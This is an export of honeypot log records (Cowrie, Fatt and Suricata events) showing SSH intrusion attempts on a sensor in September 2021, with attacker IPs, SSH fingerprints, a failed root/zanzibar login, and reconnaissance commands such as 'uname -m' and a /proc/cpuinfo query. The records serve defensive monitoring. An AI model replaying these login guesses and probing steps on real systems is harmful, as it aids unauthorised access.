34416	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:31.768334+03	2021-09-20 15:15:01.865145+03	{"_id": "jQYUA3wBvYTbRNuERFWV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:31.768334Z", "@timestamp": "2021-09-20T12:00:31.768Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34417	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:32.194287+03	2021-09-20 15:15:01.866145+03	{"_id": "kAYUA3wBvYTbRNuERFWV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 22, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "150.109.115.128", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.42603635787963867, "duplicate": true, "timestamp": "2021-09-20T12:00:32.194287Z", "@timestamp": "2021-09-20T12:00:32.194Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34418	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:00:32.250466+03	2021-09-20 15:15:01.867146+03	{"_id": "lAYUA3wBvYTbRNuERlW_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.126.106.88", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48616, "timestamp": "2021-09-20T12:00:32.250466", "@timestamp": "2021-09-20T12:00:32.250Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34419	123.126.106.88	109.199.241.180	Fatt	2021-09-20 15:00:32.627861+03	2021-09-20 15:15:01.868146+03	{"_id": "lQYUA3wBvYTbRNuERlW_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "123.126.106.88", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48616, "dest_port": 22, "timestamp": "2021-09-20T12:00:32.627861", "@timestamp": "2021-09-20T12:00:32.627Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
34420	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:32.548096+03	2021-09-20 15:15:01.869145+03	{"_id": "lwYUA3wBvYTbRNuESFV-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:32.548096Z", "@timestamp": "2021-09-20T12:00:32.548Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34421	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:32.548637+03	2021-09-20 15:15:01.870144+03	{"_id": "mAYUA3wBvYTbRNuESFV-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:32.548637Z", "@timestamp": "2021-09-20T12:00:32.548Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34422	123.126.106.88	109.199.241.180	Suricata	2021-09-20 15:00:32.627861+03	2021-09-20 15:15:01.871145+03	{"_id": "mwYUA3wBvYTbRNuESVWg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:00:31.866057+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1263216317380361, "payload": "AAADzAYU0pNcN6Rnc/ZmQ2N5Yf4ijQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48616, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:00:32.627861Z", "@timestamp": "2021-09-20T12:00:32.627Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........\\\\7.gs.fCcya.\\"....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
34423	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:33.309956+03	2021-09-20 15:15:01.873145+03	{"_id": "ngYUA3wBvYTbRNuETFVn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:33.309956Z", "@timestamp": "2021-09-20T12:00:33.309Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34424	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 15:00:32.62843+03	2021-09-20 15:15:01.874145+03	{"_id": "lgYUA3wBvYTbRNuESFV-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c43d6b62f87c", "@version": "1", "timestamp": "2021-09-20T12:00:32.628430Z", "@timestamp": "2021-09-20T12:00:32.628Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
34425	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:32.970875+03	2021-09-20 15:15:01.875144+03	{"_id": "mQYUA3wBvYTbRNuESFV-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "150.109.115.128", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.4228944778442383, "duplicate": true, "timestamp": "2021-09-20T12:00:32.970875Z", "@timestamp": "2021-09-20T12:00:32.970Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34426	123.126.106.88	109.199.241.180	Suricata	2021-09-20 15:00:32.627767+03	2021-09-20 15:15:01.877147+03	{"_id": "mgYUA3wBvYTbRNuESVWg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "dest_ip": "192.168.20.116", "flow_id": 1263216317380361, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48616, "dest_port": 22, "timestamp": "2021-09-20T12:00:32.627767Z", "@timestamp": "2021-09-20T12:00:32.627Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
34427	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:34.095847+03	2021-09-20 15:15:01.878145+03	{"_id": "nwYUA3wBvYTbRNuETFVn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:34.095847Z", "@timestamp": "2021-09-20T12:00:34.095Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34428	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 15:00:34.247277+03	2021-09-20 15:15:01.880146+03	{"_id": "oAYUA3wBvYTbRNuETFVn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.login.failed", "message": "login attempt [root/zanzibar] failed", "session": "c43d6b62f87c", "@version": "1", "password": "zanzibar", "username": "root", "timestamp": "2021-09-20T12:00:34.247277Z", "@timestamp": "2021-09-20T12:00:34.247Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34429	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:36.36721+03	2021-09-20 15:15:01.881145+03	{"_id": "sAYUA3wBvYTbRNuEWFUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:36.367210Z", "@timestamp": "2021-09-20T12:00:36.367Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34430	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:33.309408+03	2021-09-20 15:15:01.882145+03	{"_id": "oQYUA3wBvYTbRNuETFVn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:33.309408Z", "@timestamp": "2021-09-20T12:00:33.309Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34431	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:35.252148+03	2021-09-20 15:15:01.883145+03	{"_id": "pQYUA3wBvYTbRNuEUFVQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "150.109.115.128", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.42634081840515137, "duplicate": true, "timestamp": "2021-09-20T12:00:35.252148Z", "@timestamp": "2021-09-20T12:00:35.252Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34432	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:34.521845+03	2021-09-20 15:15:01.884144+03	{"_id": "ogYUA3wBvYTbRNuEUFVQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "150.109.115.128", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY 